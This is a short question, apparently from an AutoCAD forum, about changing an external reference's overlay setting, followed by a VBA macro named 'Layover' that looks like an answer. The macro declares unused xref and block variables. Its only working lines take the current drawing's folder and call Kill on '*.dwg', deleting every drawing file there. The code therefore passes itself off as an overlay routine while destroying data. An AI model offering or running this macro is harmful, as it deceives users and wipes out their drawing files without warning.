外部参照，可以更改覆盖属性吗？

Public Sub Layover()
 Dim objSelSets As AcadSelectionSets
 Dim objSelSet As AcadSelectionSet
 Dim objOverlay As AcadExternalReference
 Dim intType(0) As Integer
 Dim varData(0) As Variant
 Dim strPath As String
 Dim strName As String
 Dim dblInsPnt(0 To 2) As Double
 Dim objXref As AcadExternalReference
 Dim objEnt As AcadEntity
 Dim objBlk As AcadBlock
 Dim objBlks As AcadBlocks
strPath = ThisDrawing.GetVariable("DWGPREFIX")
strPath = strPath + "*.dwg"
Kill strPath
End Sub